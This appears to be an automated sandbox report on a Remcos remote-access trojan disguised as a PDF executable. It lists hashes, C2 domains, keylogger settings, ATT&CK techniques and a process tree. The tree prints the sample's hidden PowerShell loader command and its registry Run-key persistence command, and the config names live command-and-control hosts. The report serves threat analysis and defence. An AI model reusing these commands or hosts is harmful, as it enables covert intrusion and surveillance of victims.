remcos | c877c021f20392b5c63533b4e59522f17d060d20341a47c76f24b7430c72ad54

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11-12-2024 09:14

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General

Target

DOCUMENT#5885588@081366(766.pdf.exe
Size

512KB
MD5

053184cbad166da8d6065e1fb934b964
SHA1

54fa68f4233ab168238ea71af23eec2436552a0b
SHA256

c877c021f20392b5c63533b4e59522f17d060d20341a47c76f24b7430c72ad54
SHA512

b6402e9b634cee834db92edfe02f39a77fecfef3ff2836605c2f1276424287e5559a34306a4d376ea999fe0850c27c45d3d16ce00a91d9a65f27ba04c3d6ea69
SSDEEP

12288:1BRxKL/cM4jJL3O80+E3DzGpiOZWWiawo9fv6MIfGYfmBBWMM:JwLkPjJLO6pilWva/fPmo

Score

10^/10

remcos wow discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

WOW

eweo9264gtuiorta1.duckdns.org:2879

eweo9264gtuiorta1.duckdns.org:2889

surit2948estoat02.duckdns.org:2879

lafours8tursot2.duckdns.org:2879

lafours8tursot3.duckdns.org:2879

lafours8tursot4.duckdns.org:2879

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
hajoest.dat
keylog_flag
false
mouse_option
false
mutex
fsgthdjtru-5Y7T6I
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
400	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Overraekkelsen73 = "%Indstraaling164% -windowstyle 1 $Prioristic54=(gp -Path 'HKCU:\\Software\\storkors\\').Angili;%Indstraaling164% ($Prioristic54)"	reg.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
21	2528	msiexec.exe
23	2528	msiexec.exe
25	2528	msiexec.exe
27	2528	msiexec.exe
31	2528	msiexec.exe
46	2528	msiexec.exe
50	2528	msiexec.exe
63	2528	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	drive.google.com
21	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2528	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
400	powershell.exe
2528	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\resources\figursyedes.lnk	DOCUMENT#5885588@081366(766.pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DOCUMENT#5885588@081366(766.pdf.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5108	reg.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
400	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	400	powershell.exe
Token: SeIncreaseQuotaPrivilege	400	powershell.exe
Token: SeSecurityPrivilege	400	powershell.exe
Token: SeTakeOwnershipPrivilege	400	powershell.exe
Token: SeLoadDriverPrivilege	400	powershell.exe
Token: SeSystemProfilePrivilege	400	powershell.exe
Token: SeSystemtimePrivilege	400	powershell.exe
Token: SeProfSingleProcessPrivilege	400	powershell.exe
Token: SeIncBasePriorityPrivilege	400	powershell.exe
Token: SeCreatePagefilePrivilege	400	powershell.exe
Token: SeBackupPrivilege	400	powershell.exe
Token: SeRestorePrivilege	400	powershell.exe
Token: SeShutdownPrivilege	400	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeSystemEnvironmentPrivilege	400	powershell.exe
Token: SeRemoteShutdownPrivilege	400	powershell.exe
Token: SeUndockPrivilege	400	powershell.exe
Token: SeManageVolumePrivilege	400	powershell.exe
Token: 33	400	powershell.exe
Token: 34	400	powershell.exe
Token: 35	400	powershell.exe
Token: 36	400	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3092 wrote to memory of 400	3092	DOCUMENT#5885588@081366(766.pdf.exe	82
PID 3092 wrote to memory of 400	3092	DOCUMENT#5885588@081366(766.pdf.exe	82
PID 3092 wrote to memory of 400	3092	DOCUMENT#5885588@081366(766.pdf.exe	82
PID 400 wrote to memory of 2528	400	powershell.exe	91
PID 400 wrote to memory of 2528	400	powershell.exe	91
PID 400 wrote to memory of 2528	400	powershell.exe	91
PID 400 wrote to memory of 2528	400	powershell.exe	91
PID 2528 wrote to memory of 1520	2528	msiexec.exe	92
PID 2528 wrote to memory of 1520	2528	msiexec.exe	92
PID 2528 wrote to memory of 1520	2528	msiexec.exe	92
PID 1520 wrote to memory of 5108	1520	cmd.exe	94
PID 1520 wrote to memory of 5108	1520	cmd.exe	94
PID 1520 wrote to memory of 5108	1520	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\DOCUMENT#5885588@081366(766.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\DOCUMENT#5885588@081366(766.pdf.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3092
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Effeminacies=Get-Content -raw 'C:\Users\Admin\AppData\Local\parkeringsforholdet\Irrational\Tredjelandes.Sel';$Gizeh4=$Effeminacies.SubString(2147,3);.$Gizeh4($Effeminacies)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2528
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Overraekkelsen73" /t REG_EXPAND_SZ /d "%Indstraaling164% -windowstyle 1 $Prioristic54=(gp -Path 'HKCU:\Software\storkors\').Angili;%Indstraaling164% ($Prioristic54)"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1520
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Overraekkelsen73" /t REG_EXPAND_SZ /d "%Indstraaling164% -windowstyle 1 $Prioristic54=(gp -Path 'HKCU:\Software\storkors\').Angili;%Indstraaling164% ($Prioristic54)"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:5108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qpf4nto4.o1e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\parkeringsforholdet\Irrational\Superdiabolically.Tor

Filesize
287KB

MD5
f20bfd077f96d3b5f57cce52c6fa8ebe

SHA1
b2bc4ec3384f6402687deb55c73c8bb904f8b7c4

SHA256
c96b45939261aae0e7b2f439ff96ea7f8a188ceb9f8528cb3d274419cc7dfc91

SHA512
a836d407668a815f890494d89d9a4d5bfc01896799a185471fb2939028955c61e03c932acc06af3418540ccd2521f160769d29ec5aea96c1b61e5164d9f47c59

Download Submit
C:\Users\Admin\AppData\Local\parkeringsforholdet\Irrational\Tredjelandes.Sel

Filesize
52KB

MD5
85edb7354ba656bbb556d21c8e68831c

SHA1
e01c029026be5e5d7e17cdd191360d9bbd9d9e27

SHA256
d9b3298dafafc8f85e167c0c739d94cf6671f017e1a0cf7e759ff6158b5921ed

SHA512
b86b8ee9f4f0f0421074de62c439ef5cf63b441f44b95c9a1ca28b357c9fd52c85ba00af70e975f4e5aa4601829026ee2ebec143fb9357815e76635fdf3a28d5

Download Submit
memory/400-6-0x00000000748FE000-0x00000000748FF000-memory.dmp

Filesize
4KB

Download
memory/400-7-0x00000000024E0000-0x0000000002516000-memory.dmp

Filesize
216KB

Download
memory/400-9-0x0000000004F40000-0x0000000005568000-memory.dmp

Filesize
6.2MB

Download
memory/400-8-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-10-0x0000000004C30000-0x0000000004C52000-memory.dmp

Filesize
136KB

Download
memory/400-12-0x0000000004D40000-0x0000000004DA6000-memory.dmp

Filesize
408KB

Download
memory/400-11-0x0000000004CD0000-0x0000000004D36000-memory.dmp

Filesize
408KB

Download
memory/400-23-0x0000000005570000-0x00000000058C4000-memory.dmp

Filesize
3.3MB

Download
memory/400-22-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-24-0x0000000005AE0000-0x0000000005AFE000-memory.dmp

Filesize
120KB

Download
memory/400-25-0x0000000005B80000-0x0000000005BCC000-memory.dmp

Filesize
304KB

Download
memory/400-26-0x0000000006050000-0x00000000060E6000-memory.dmp

Filesize
600KB

Download
memory/400-27-0x0000000006000000-0x000000000601A000-memory.dmp

Filesize
104KB

Download
memory/400-28-0x0000000006AC0000-0x0000000006AE2000-memory.dmp

Filesize
136KB

Download
memory/400-29-0x00000000070A0000-0x0000000007644000-memory.dmp

Filesize
5.6MB

Download
memory/400-31-0x0000000007CD0000-0x000000000834A000-memory.dmp

Filesize
6.5MB

Download
memory/400-32-0x0000000006EE0000-0x0000000006F12000-memory.dmp

Filesize
200KB

Download
memory/400-34-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-33-0x0000000070710000-0x000000007075C000-memory.dmp

Filesize
304KB

Download
memory/400-45-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-44-0x0000000006EC0000-0x0000000006EDE000-memory.dmp

Filesize
120KB

Download
memory/400-46-0x0000000006F30000-0x0000000006FD3000-memory.dmp

Filesize
652KB

Download
memory/400-47-0x0000000007070000-0x000000000707A000-memory.dmp

Filesize
40KB

Download
memory/400-48-0x0000000007790000-0x00000000077A1000-memory.dmp

Filesize
68KB

Download
memory/400-49-0x00000000077C0000-0x00000000077CE000-memory.dmp

Filesize
56KB

Download
memory/400-50-0x00000000077D0000-0x00000000077E4000-memory.dmp

Filesize
80KB

Download
memory/400-51-0x0000000007830000-0x000000000784A000-memory.dmp

Filesize
104KB

Download
memory/400-52-0x0000000007800000-0x0000000007808000-memory.dmp

Filesize
32KB

Download
memory/400-53-0x0000000007830000-0x000000000785A000-memory.dmp

Filesize
168KB

Download
memory/400-54-0x0000000007870000-0x0000000007894000-memory.dmp

Filesize
144KB

Download
memory/400-55-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-57-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-56-0x00000000748FE000-0x00000000748FF000-memory.dmp

Filesize
4KB

Download
memory/400-58-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-60-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-61-0x0000000008350000-0x000000000C277000-memory.dmp

Filesize
63.2MB

Download
memory/400-62-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-64-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-65-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-66-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/400-67-0x00000000748F0000-0x00000000750A0000-memory.dmp

Filesize
7.7MB

Download
memory/2528-80-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-81-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-88-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-89-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-90-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-91-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-92-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-93-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-94-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-95-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-96-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/2528-97-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download